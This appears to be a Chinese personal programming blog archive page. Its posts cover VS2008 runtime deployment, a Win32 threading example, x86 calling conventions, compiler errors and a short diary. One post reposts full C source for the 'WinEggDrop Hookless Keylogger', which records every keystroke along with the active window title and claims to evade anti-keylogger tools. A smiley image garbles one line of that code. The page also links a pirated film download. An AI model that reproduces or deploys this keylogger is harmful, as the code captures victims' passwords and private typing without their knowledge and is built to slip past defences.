由于应用程序配置不正确,应用程序未能启动。重新安装应用程序可能会纠正这个问题。

这个比较标题党,关于vc部署的问题很多,以下介绍常碰到最频繁的情况。

首先我们辛辛苦苦的在vs2008上用c写好了代码,准备在其他机子上运行,结果报错:

“由于应用程序配置不正确,应用程序未能启动。重新安装应用程序可能会纠正这个问题。”

首先我们来看看vs的版本,vs2008默认的版本是:9.0.21022.8,打了sp1的补丁是 9.0.30729.1。版本号可以通过vs菜单“帮助”-“关于Microsoft Visual Studio”中看到。
(vs2010的版本号是:10.0.30319.1)

我的机子上的vs是打过sp1的补丁,所以vs的版本号是9.0.30729.1。

接下来分两种情况来解决问题。

如果你编译的是debug版本的,进入vs安装目录\vc\redist\ ,会看到有两个目录

Debug_NonRedist 是debug非部署版,x86 是release版。

进入Debug_NonRedist\x86 ,有三个目录,看你的代码用了些什么,如果是只用了c runtime library,使用CRT,用了MFC使用MFC,OpenMP不知道是啥。

├─Microsoft.VC90.DebugCRT
├─Microsoft.VC90.DebugMFC
└─Microsoft.VC90.DebugOpenMP

我用的纯C代码,所以复制Microsoft.VC90.DebugCRT目录下的

Microsoft.VC90.DebugCRT.manifest
msvcm90d.dll
msvcp90d.dll
msvcr90d.dll

这3个dll,后面的d表示debug版本,msvc后面的m,p,r的解释是:

msvcr100.dll 面向本机代码的 C 运行库 (CRT)。 使用 C Run-Time Libraries的应用程序。
msvcm100.dll 面向托管代码和混合代码 的 CRT 和标准 C++ 库。 使用 C Run-Time Libraries或标准 C++ 库并 使用 /clr(公共语言运行 时编译)编译器选项的应用程序。
msvcp100.dll 面向本机代码的标准 C++ 库。 使用标准 C++ 库的 应用程序。

将这4个文件复制到程序同一个目录,然后用文本编辑器打开Microsoft.VC90.DebugCRT.manifest,将

9.0.30729.4148" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b">

改为

9.0.21022.8" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b">

这样debug版本的程序就可以运行了。

至于release版本的就更简单了,下载相应版本的vc++重新分发包安装就可以了。

参考:

Visual C++ 2010 中的部署 http://msdn.microsoft.com/zh-cn/library/dd293574.aspx

C Run-Time Libraries http://msdn.microsoft.com/en-us/library/abx4dbyh%28VS.80%29.aspx

Tagged | Leave a comment

win32 mfc命名规范

由于模板布局的原因,看起来主题很小,点一下放大镜可以调节到最佳大小。

直接下载:http://www.stanford.edu/class/cs193w/handouts/h04-naming.pdf

Tagged | Leave a comment

C语言Win32多线程简单例子

#include <windows.h>
#include <stdio.h>
#include <process.h>
// Secound Thread function
void ThreadProc(void *param);
 
// First thread
int main()
{
 
    int n;
    int i;
    int val = 0;
    HANDLE handle;
 
    printf("\t Thread Demo\n");
 
    printf("Enter the number of threads : ");
    scanf("%d",&n);
 
    for(i=0;i<n ;i++)
    {
        val = i+1;
        handle = (HANDLE) _beginthread( ThreadProc,0,&val); // create thread
        WaitForSingleObject(handle,INFINITE);
 
    }
 
    return 0;
}
 
void ThreadProc(void *param)
{
 
    int h=*((int*)param);
    printf("%d Thread is Running!\n",h);
    Sleep(1000);
    _endthread();
 
}
功能是执行用户键入指定数量的线程,每个线程干同样的事情:输出字符串:某Thread is Running!,然后Sleep 1秒钟,结束进程,WaitForSingleObject等待指定对象进入有信号的状态,或者等待指定时间。 另外发现一个监视线程活动的好工具,sysinternal的Process Monitor : 参考:http://www.codeproject.com/KB/threads/crtmultithreading.aspx
Tagged , , | Leave a comment

WinEggDrop Hookless Keylogger 源代码

//**********************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: NULL
// Purpose: Hookless Keylogger
// Test PlatForm: Win 2K Pro And Server SP4
// Compiled On: LCC 3.0,May Compile On VC++ 6.0(Not Test Yet)
// Limitation: More Usage Of System Resource; May Not Work On Win9x
// Advantage: Hookless Technique Fools Anti-Keylogger Programs
//**********************************************************************
 
#include <windows .h>
#include <stdio .h>
 
// Some Global Variables
 
// Lower Case Key & Some Other Keys
char *LowerCase[]={
"b",
"e",
"[ESC]",
"[F1]",
"[F2]",
"[F3]",
"[F4]",
"[F5]",
"[F6]",
"[F7]",
"[F8]",
"[F9]",
"[F10]",
"[F11]",
"[F12]",
"`",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"0",
"-",
"=",
"[TAB]",
"q",
"w",
"e",
"r",
"t",
"y",
"u",
"i",
"o",
"p",
"[",
"]",
"a",
"s",
"d",
"f",
"g",
"h",
"j",
"k",
"l",
";",
"'",
"z",
"x",
"c",
"v",
"b",
"n",
"m",
",",
".",
"/",
"\\",
"[CTRL]",
"[WIN]",
" ",
"[WIN]",
"[Print Screen]",
"[Scroll Lock]",
"[Insert]",
"[Home]",
"[PageUp]",
"[Del]",
"[End]",
"[PageDown]",
"[Left]",
"[UP]",
"[Right]",
"[Down]",
"[Num Lock]",
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
".",
};
 
// Upper Case Key & Some Other Keys
char *UpperCase[]={
"b",
"e",
"[ESC]",
"[F1]",
"[F2]",
"[F3]",
"[F4]",
"[F5]",
"[F6]",
"[F7]",
"[F8]",
"[F9]",
"[F10]",
"[F11]",
"[F12]",
"~",
"!",
"@",
"#",
"$",
"%",
"^",
"&",
"*",
"(",
")",
"_",
"+",
"[TAB]",
"Q",
"W",
"E",
"R",
"T",
"Y",
"U",
"I",
"O",
"P",
"{",
"}",
"A",
"S",
"D",
"F",
"G",
"H",
"J",
"K",
"L",
":",
"\"",
"Z",
"X",
"C",
"V",
"B",
"N",
"M",
"< ",
">",
".?",
"|",
"[CTRL]",
"[WIN]",
" ",
"[WIN]",
"[Print Screen]",
"[Scroll Lock]",
"[Insert]",
"[Home]",
"[PageUp]",
"[Del]",
"[End]",
"[PageDown]",
"[Left]",
"[Up]",
"[Right]",
"[Down]",
"[Num Lock]",
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
".",
};
 
// Ascii Keys,Forget About It
int SpecialKeys[]={
8,
13,
27,
112,
113,
114,
115,
116,
117,
118,
119,
120,
121,
122,
123,
192,
49,
50,
51,
52,
53,
54,
55,
56,
57,
48,
189,
187,
9,
81,
87,
69,
82,
84,
89,
85,
73,
79,
80,
219,
221,
65,
83,
68,
70,
71,
72,
74,
75,
76,
186,
222,
90,
88,
67,
86,
66,
78,
77,
188,
190,
191,
220,
17,
91,
32,
92,
44,
145,
45,
36,
33,
46,
35,
34,
37,
38,
39,
40,
144,
111,
106,
109,
107,
96,
97,
98,
99,
100,
101,
102,
103,
104,
105,
110,
};
 
HWND PreviousFocus=NULL;
// End Of Data
 
// Function ProtoType Declaration
//----------------------------------------------------------------------
BOOL IsWindowsFocusChange();
BOOL KeyLogger();
//----------------------------------------------------------------------
// End Of Fucntion ProtoType Declaration
 
// Main Function
int main()
{
KeyLogger();   // Run The Keylogger
return 0;   // The Program Quit
}
// End Of Main
 
//-------------------------------------------------------------------------
// Purpose: To Check The Active Windows Title
// Return Type: Boolean
// Parameters: NULL
//-------------------------------------------------------------------------
BOOL IsWindowsFocusChange()
{
HWND hFocus = GetForegroundWindow();   // Retrieve The Active Windows's Focus
BOOL ReturnFlag = FALSE;   // Declare The Return Flag
if (hFocus != PreviousFocus)   // The Active Windows Has Change
{
  PreviousFocus = hFocus;     // Save The Old Active Windos Focus
  int WinLeng = GetWindowTextLength(hFocus);   // Get The Active Windows's Caption's Length
  char *WindowCaption = (char*) malloc(sizeof(char) * (WinLeng + 2));   // Allocate Memory For The Caption
  GetWindowText(hFocus,WindowCaption,(WinLeng + 1));     // Retrieve The Active Windows's Caption
  if (strlen(WindowCaption) > 0)   // Really Get The Windows's Caption
  {
    printf("\r\nThe Active Windows Title: %s\r\n",WindowCaption);   // Display The Active Windows's Caption
    ReturnFlag=TRUE;   // Indicate The Windows's Focus Has Changed
  }
  free(WindowCaption);     // Free The Allocated Memory
}
return ReturnFlag;   // Return The Flag
}// End Of IsWindowsFocusChange Function
 
//-------------------------------------------------------------------------
// Purpose: To Manage(Display)The Keys Retrieved From System's Key Buffer
// Return Type: Boolean
// Parameters: NULL
//-------------------------------------------------------------------------
BOOL KeyLogger()
{
int bKstate[256] = {0};     // Declare The Key State Array
int i,x;
char KeyBuffer[600];     // Key Buffer Array
int state;   // Variable To Hode State Of Some Special Key Like CapsLock,Shift And ect
int shift;   // Variable To Hode State Of Shift Key
 
// Reset The Buffer
memset(KeyBuffer,0,sizeof(KeyBuffer));
 
while(TRUE)     // Forever Loop Is Taking Place Here
{
  Sleep(8);   // Rest For A While,And Avoid Taking 100% CPU Usage.Pretty Important To Add This Line Or The System Gets Fucked UP
  if (IsWindowsFocusChange())   //Check The Active Windows Title
  {
    if (strlen(KeyBuffer) != 0)   // Keys Are Pressed
    {
      printf("%s\r\n",KeyBuffer);   // Display The Keys Pressed
      memset(KeyBuffer,0,sizeof(KeyBuffer));     // reset The Buffer
    }
  }
 
  for(i=0;i<95;i++)     // Looping To Check Visual Keys
  {
    shift = GetKeyState(VK_SHIFT);   // Check Whether Shift Is Pressed
    x = SpecialKeys[i];   // Match The Key
    if (GetAsyncKeyState(x) & 0x8000)   // Check Combination Keys
    {
      // See Whether CapsLocak Or Shift Is Pressed
    if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91)))   //Caps Lock And Shift Is Not Pressed
    {
        bKstate[x] = 1;     //Uppercase Characters A-Z
    }
    else
        if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91)))   //Caps Lock And Shift Is Pressed
        {
        bKstate[x] = 2;     //Lowercase a-z
        }
        else
        if (shift < 0)   // Shift Is Pressed
        {
            bKstate[x] = 3;     //Uppercase Characters A-Z
        }
        else
            bKstate[x] = 4;     //Lowercase a-z
    }
    else
    {
      if (bKstate[x] != 0)     // No Combination Keys Detected
      {
        state = bKstate[x];   // Retrieve The Current State
        bKstate[x] = 0;   // Reset The Current State
        if (x == <img src="http://tunps.com/wp-includes/images/smilies/icon_cool.gif" alt="8)" class="wp-smiley">     // Back Space Is Detected
        {
          KeyBuffer[strlen(KeyBuffer) - 1] = 0;   // One Key Back Then
          continue;   // Start A New Loop
        }
        else
          if (strlen(KeyBuffer) > 550)   // Buffer FULL
          {
            printf("%s <buffer Full>",KeyBuffer);   // Display The Keys Retrieved
            memset(KeyBuffer,0,sizeof(KeyBuffer));     // Reset The Buffer
            continue;   // Start A New Loop
          }
          else
            if (x == 13)   // Enter Is Detected
            {
              if (strlen(KeyBuffer) == 0)   // No Other Keys Retrieved But Enter
              {
                continue;   // Start A New Loop
              }
              printf("%s<enter>\r\n",KeyBuffer);   // Retrieve Other Keys With Enter
              memset(KeyBuffer,0,sizeof(KeyBuffer));   // Display The Keys With Enter
              continue;   // Start A New Loop
            }
            else
                if ((state%2) == 1)   //Must Be Upper Case Characters
              {
                strcat(KeyBuffer,UpperCase[i]);   // Store The Key To Key Buffer
              }
              else
                  if ((state%2) == 0)   // Must Be Lower Case Characters
                {
                  strcat(KeyBuffer,LowerCase[i]);   // Store The Key To Key Buffer
                }
      }
    }
  }// End Of For Loop
}// End Of While Loop
return TRUE;   // Return To The Caller
}// End Of KeyLogger Function
// End Of File
Tagged | Leave a comment

钢铁侠2下载 TC中字

迅雷下载
115 网盘下载

Tagged | Leave a comment

cdecl、stdcall、fastcall、declspec

在C语言中,假设我们有这样的一个函数:

int function(int a,int b)

调用时只要用result = function(1,2)这样的方式就可以使用这个函数。但是,当高级
语言被编译成计算机可以识别的机器码时,有一个问题就凸现出来:在 CPU中,计算机没
有办法知道一个函数调用需要多少个、什么样的参数,也没有硬件可以保存这些参数。
也就是说,计算机不知道怎么给这个函 数传递参数,传递参数的工作必须由函数调用者
和函数本身来协调。为此,计算机提供了一种被称为栈的数据结构来支持参数传递。

栈是 一种先进后出的数据结构,栈有一个存储区、一个栈顶指针。栈顶指针指向堆栈中
第一个可用的数据项(被称为栈顶)。用户可以在栈顶上方向栈中加入数 据,这个操作
被称为压栈(Push),压栈以后,栈顶自动变成新加入数据项的位置,栈顶指针也随之修
改。用户也可以从堆栈中取走栈顶,称 为弹出栈(pop),弹出栈后,栈顶下的一个元素变
成栈顶,栈顶指针随之修改。

函数调用时,调用者依次把参数压栈,然后调用函 数,函数被调用以后,在堆栈中取得
数据,并进行计算。函数计算结束以后,或者调用者、或者函数本身修改堆栈,使堆栈
恢复原装。

在 参数传递中,有两个很重要的问题必须得到明确说明:

当参数个数多于一个时,按照什么顺序把参数压入堆栈
函数调用后,由谁来把堆栈 恢复原装
在高级语言中,通过函数调用约定来说明这两个问题。常见的调用约定有:

stdcall
cdecl
fastcall
thiscall
naked call
stdcall调用约定
stdcall很多时候被称为pascal调用约定,因为pascal是早期很常见的一种教学用计算机
程 序设计语言,其语法严谨,使用的函数调用约定就是stdcall。在Microsoft C++系列
的C/C++编译器中,常常用PASCAL宏 来声明这个调用约定,类似的宏还有WINAPI和CALLB
ACK。

stdcall调用约定声明的语法为(以前文的那个函数为 例):

int __stdcall function(int a,int b)

stdcall的调用约定意味着:1) 参数从右向左压入堆栈,2)函数自身修改堆栈 3)函数
名自动加前导的下划线,后面紧跟一个@符号,其后紧跟着参数的尺寸

以上述 这个函数为例,参数b首先被压栈,然后是参数a,函数调用function(1,2)调用处
翻译成汇编语言将变成:

push 2 第二个参数入栈
push 1 第一个参数入栈
call function 调用参数,注意此时自动把cs:eip入栈

而 对于函数自身,则可以翻译为:

push ebp 保存ebp寄存器,该寄存器将用来保存堆栈的栈顶指针,可以在函数退出
时 恢复
mov ebp,esp 保存堆栈指针
mov eax,[ebp + 8H] 堆栈中ebp指向位置之前依次保存有ebp,cs:eip,a,b,ebp +8指向
a
add eax,[ebp + 0CH] 堆栈中ebp + 12处保存了b
mov esp,ebp 恢复esp
pop ebp
ret 8

而在编译时,这 个函数的名字被翻译成_function@8

注意不同编译器会插入自己的汇编代码以提供编译的通用性,但是大体代码如此。其中
在 函数开始处保留esp到ebp中,在函数结束恢复是编译器常用的方法。

从函数调用看,2和1依次被push进堆栈,而在函数中又通过相对 于ebp(即刚进函数时的
堆栈指针)的偏移量存取参数。函数结束后,ret 8表示清理8个字节的堆栈,函数自己
恢复了堆栈。

cdecl 调用约定
cdecl调用约定又称为C调用约定,是C语言缺省的调用约定,它的定义语法是:

int function (int a ,int b) //不加修饰就是C调用约定
int __cdecl function(int a,int b)//明确指出C调用约定

在写本文时,出乎我的意料,发现cdecl调用约定的参数压栈顺序是和stdcall是一样的
, 参数首先由有向左压入堆栈。所不同的是,函数本身不清理堆栈,调用者负责清理堆
栈。由于这种变化,C调用约定允许函数的参数的个数是不固定的,这 也是C语言的一大
特色。对于前面的function函数,使用cdecl后的汇编码变成:

调用处
push 1
push 2
call function
add esp,8 注意:这里调用者在恢复堆栈
被调用函数_function处
push ebp 保存ebp寄存器,该寄存器将用来保存堆栈的栈顶指针,可以在函数退出
时恢复
mov ebp,esp 保存堆栈指针
mov eax,[ebp + 8H] 堆栈中ebp指向位置之前依次保存有ebp,cs:eip,a,b,ebp +8指向
a
add eax,[ebp + 0CH] 堆栈中ebp + 12处保存了b
mov esp,ebp 恢复esp
pop ebp
ret 注意,这里没有修改堆栈

MSDN中说,该修饰自动在函数名前加前导的下划线,因此函数名在符号表中被记录为_f
unction, 但是我在编译时似乎没有看到这种变化。

由于参数按照从右向左顺序压栈,因此最开始的参数在最接近栈顶的位置,因此当采用
不定个数 参数时,第一个参数在栈中的位置肯定能知道,只要不定的参数个数能够根据
第一个后者后续的明确的参数确定下来,就可以使用不定参数,例如对于 CRT中的sprin
tf函数,定义为:

int sprintf(char* buffer,const char* format,…)

由于所有的不定参数都可以通过format确定,因此使用不定个数的参数是没有问题的。

fastcall
fastcall 调用约定和stdcall类似,它意味着:

函数的第一个和第二个DWORD参数(或者尺寸更小的)通过ecx和edx传递,其他参数通过
从 右向左的顺序压栈
被调用函数清理堆栈
函数名修改规则同stdcall
其声明语法为:int fastcall function(int a,int b)

thiscall
thiscall是唯一一个不能明确指明的函数修饰,因为 thiscall不是关键字。它是C++类成
员函数缺省的调用约定。由于成员函数调用还有一个this指针,因此必须特殊处理,th
iscall 意味着:

参数从右向左入栈
如果参数个数确定,this指针通过ecx传递给被调用者;如果参数个数不确定,this指针
在 所有参数压栈后被压入堆栈。
对参数个数不定的,调用者清理堆栈,否则函数自己清理堆栈
为了说明这个调用约定,定义如下类和使用代码:

class A
{
public:
int function1(int a,int b);
int function2(int a,…);
};
int A::function1 (int a,int b)
{
return a+b;
}
#include
int A::function2(int a,…)
{
va_list ap;
va_start(ap,a);
int i;
int result = 0;
for(i = 0 i < a i ++)
{
result += va_arg(ap,int);
}
return result;
}
void callee()
{
A a;
a.function1 (1,2);
a.function2(3,1,2,3);
}

callee函数被翻 译成汇编后就变成:

//函数function1调用
0401C1D push 2
00401C1F push 1
00401C21 lea ecx,[ebp-8]
00401C24 call function1 注意,这里this没有被入栈
//函数 function2调用
00401C29 push 3
00401C2B push 2
00401C2D push 1
00401C2F push 3
00401C31 lea eax,[ebp-8] 这里引入this指针
00401C34 push eax
00401C35 call function2
00401C3A add esp,14h

可见,对于参数个数固定情况下,它类似于 stdcall,不定时则类似cdecl

naked call
这是一个很少见的调用约定,一般程序设计者建议不要使用。编译器不 会给这种函数增
加初始化和清理代码,更特殊的是,你不能用return返回返回值,只能用插入汇编返回
结果。这一般用于实模式驱动程序设 计,假设定义一个求和的加法程序,可以定义为:

__declspec(naked) int add(int a,int b)
{
__asm mov eax,a
__asm add eax,b
__asm ret
}

注意,这个函数没有显式的 return返回值,返回通过修改eax寄存器实现,而且连退出函
数的ret指令都必须显式插入。上面代码被翻译成汇编以后变成:

mov eax,[ebp+8]
add eax,[ebp+12]
ret 8

注意这个修饰是和__stdcall及 cdecl结合使用的,前面是它和cdecl结合使用的代码,对
于和stdcall结合的代码,则变成:

__declspec(naked) int __stdcall function(int a,int b)
{
__asm mov eax,a
__asm add eax,b
__asm ret 8 //注意后面的8
}

至于这种函数被调用,则和普通的cdecl及 stdcall调用函数一致。

函数调用约定导致的常见问题
如果定义的约定和使用的约定不一致,则将导致堆栈被破坏,导致严重问 题,下面是两
种常见的问题:

函数原型声明和函数体定义不一致
DLL导入函数时声明了不同的函数约定
以后者为例, 假设我们在dll种声明了一种函数为:

__declspec(dllexport) int func(int a,int b);//注意,这里没有stdcall,使用的是
cdecl
使用时代码为:

typedef int (*WINAPI DLLFUNC)func(int a,int b);
hLib = LoadLibrary(…);
DLLFUNC func = (DLLFUNC)GetProcAddress(…)//这里修改了调用约定
result = func(1,2);//导致错误

由 于调用者没有理解WINAPI的含义错误的增加了这个修饰,上述代码必然导致堆栈被破
坏,MFC在编译时插入的checkesp函数将告诉你,堆 栈被破坏了。

————————————————————————————-

首先这三个修饰符是c和c++调用约定

调用约定(Calling convention)决定以下内容:函数参数的压栈顺序,由调用者还是被调用者把参数弹出栈,以及产生函数修饰名的方法。MFC支持以下调用约定:

__cdecl,__stdcal和__fastcalll都是函数调用规范,规定了参数出入栈的顺序和方法,如果只用VC编程的话可以不用关心,但是要在C++和Pascal等其他语言 通信的时候就要注意了,只有用相同的方法才能够调用成功.另外,像printf这样接受可变个数参数的函数只有用cdecl才能够实现.

_cdecl

按从右至左的顺序压参数入栈,由调用者把参数弹出栈。对于“C”函数或者变量,修饰名是在函数名前加下划线。对于“C++”函数,有所不同。

如函数void test(void)的修饰名是_test;对于不属于一个类的“C++”全局函数,修饰名是?test@@ZAXXZ。

这是MFC缺省调用约定。由于是调用者负责把参数弹出栈,所以可以给函数定义个数不定的参数,如printf函数。

_stdcall

按从右至左的顺序压参数入栈,由被调用者把参数弹出栈。对于“C”函数或者变量,修饰名以下划线为前缀,然后是函数名,然后是符号“@”及参数的字节数, 如函数int func(int a, double b)的修饰名是_func@12。对于“C++”函数,则有所不同。

所有的Win32 API函数都遵循该约定。
_ fastcall

是把函数参数列表的前三个参数放入寄存器eax,edx,ecx,其他参数压栈。 fastcall是BCB为了更好的兼容Delphi写的VCL而用的,delphi中的默认call是fastcall,是把函数参数列表的前三个参数 放入寄存器。

举个例子,其实就是在函数声明的时候多加一个关键字,比如很多API函数就是象这样声明的:
int WINAPI MessageBoxA(HWND,LPCSTR,LPSTR,UINT);
而WINAPI实际上就是__stdcall.
大多数API都采用__stdcall调用规范,这是因为几乎所有的语言都支持__stdcall调用.相比之下,__cdecl只 有在C语言中才能用.但是__cdecl调用有一个特点,就是能够实现可变参数的函数调用,比如printf,这用 __stdcall调用是不可能的.
__fastcall这种调用规范比较少见,但是在Borland C++ Builder中比较多的采用了这种调用方式.
如果有共享代码的需要,比如写DLL,推荐的方法是用__stdcall调用,因 为这样适用范围最广.如果是C++语言写的代码供Delphi这样的语言调用就必须声明为__stdcall,因为Pascal不支持cdecl调用(或 许Delphi的最新版本能够支持也说不定,这个我不太清楚).在其他一些地方,比如写COM组件,几乎都用的是stdcall调用.在VC或 Delphi或C++Builder里面都可以从项目设置中更改默认的函数调用规范,当然你也可以在函数声明的时候加入 __stdcall,__cdecl,__fastcall关键字来明确的指示本函数用哪种调用规范.

__declspec主要是用于说明DLL的引出函数的,在某些情况下用__declspec(dllexport)在DLL中生命引出函数,比用 传统的DEF文件方便一些.在普通程序中也可以用__declspec(dllimport)说明 函数是位于另一个DLL中的导出函数.

参考:

http://www.cnblogs.com/dah/archive/2006/11/29/576867.html
http://en.wikipedia.org/wiki/X86_calling_conventions
http://hi.baidu.com/guqiwei/blog/item/6b56f413848394075aaf53f2.html

Tagged | Leave a comment

android女

继“iPhone女”Kim Yeo-hui走红网络之后,一名利用谷歌Android手机伴奏,展示一流唱功的所谓“Android女”再度引发网友关注。2010年5月25日,网友“Android女”的视频被上传到YouTube网站,并附文字介绍:“继‘iPhone女’之后,‘Android女’出场。”

视频中的女孩利用Android手机的音乐应用软件演奏吉他,同时演唱了美国当红女歌手蕾哈娜的歌曲《Take A Bow》。

视频似乎是“Android女”自己拍摄的,仅短短两天,该视频的点击率已经超过20万。

据悉,“Android女”是韩国人。



玩数码的女人都不敢寂寞,纷纷自曝。接下来估计是IPAD女。

Tagged , | Leave a comment

fatal error RC1004: unexpected end of file found处理方法

编译的时候出现“F:\testprogram\resource.h(72) : fatal error RC1004: unexpected end of file found”的错误提示。

资源编译器错误 RC1004 错误消息 遇到意外的文件结束 此错误是由于文本文件的最后一行中缺少换行符和回车符而造成的。

(我对vs无语了,这个尽然会报错,我还以为是{},()没有配对。)

Tagged | 1 Comment

5月27,蛋不疼,脚疼

27号,到学校交论文,非常折腾的一天就这样开始了。上午和我们一组的同学来到指导老师的教室,检查了之后,说我的合格了,可以回寝室了(寝室距离教室1公里左右),我就回寝室了。屁股还没有坐热花儿,指导老师打电话说:格式不合格,到教室来修改。

然后继续走1公里来到教室,知道是封面格式的原因后,到打印室去重新打印。结果一进打印部,发现10来个繁忙穿梭的人群全是我们专业的,并且大家都因为格式的问题而苦恼,并扬言这只是一个杯具。

板鸭同学来打印部找到我说他在招聘会上发现了一个潜力股,一个安徽大老板准备搞电子商务网站,在校门口等了1个小时左右,终于宝马车来了,把我们接到他的公司。聊到下午3点左右,基本上我已经搞清楚了他的意思了。一看就知道是个代理商,通过各种方式推销产品。听他网络是一个巨大的聚宝盆,所以想搞网络营销,搞仿橡胶国际、七星购物之类的站。他的站:52ctv.com,92cctv.com。俺一看名字:中视购物,我雷到了。山寨得果然厉害,查了一下后台流量统计,基本上都是通过搜索"央视购物"进去的。哥,你懂了吧?他还打算把另外一个站做成"购物街"(另外一个央视的购物栏目)。果然是不山寨不赚钱斯基。这个站没有维护每天平均有600的PV。可见抢关键字也是一门技术。最无奈的就是里面卖的产品了,啥仿辐射手镯,八星八箭的手表。sigh。骗点暴发户还可以。

最后他报实习工资1500,和我上次上班的一样,我突然觉得我是在重复09年最后那几个月的无奈的日子,所以我不打算做。

今天安排好了叫徒弟到我们寝室来玩游戏,我以为是我等她,结果成了她在轻轨站等我,我确实比较不好意思。我们耍到下午6点,觉得这个游戏还不错:SKULLPOGO

难道真的是我没有游戏天赋,我玩的1K多分的记录就被我徒弟给破了,青出于蓝而胜于蓝也。

不过这个游戏的排分榜记录尽然不是用的二进制文件,而是文本文件,所以:

这样就比较好看了。

然后6点送行,又是2个公里的路程,蛋不疼,脚疼。

SKULLPOGO SKULLPOGO
Tagged | Leave a comment

“cout”: 未声明的标识符”

数据结构老师让用vs。尽量不用vc6.

写了个hello,world都出错了!“ error C2065: “cout”: 未声明的标识符”是怎么回事

原来   VS 2005里面是没有 iostream.h 这个文件的,要使用输入输出流只能:
#include<iostream>
using namespace std;         //我就是把这句少了!

via

Tagged | 2 Comments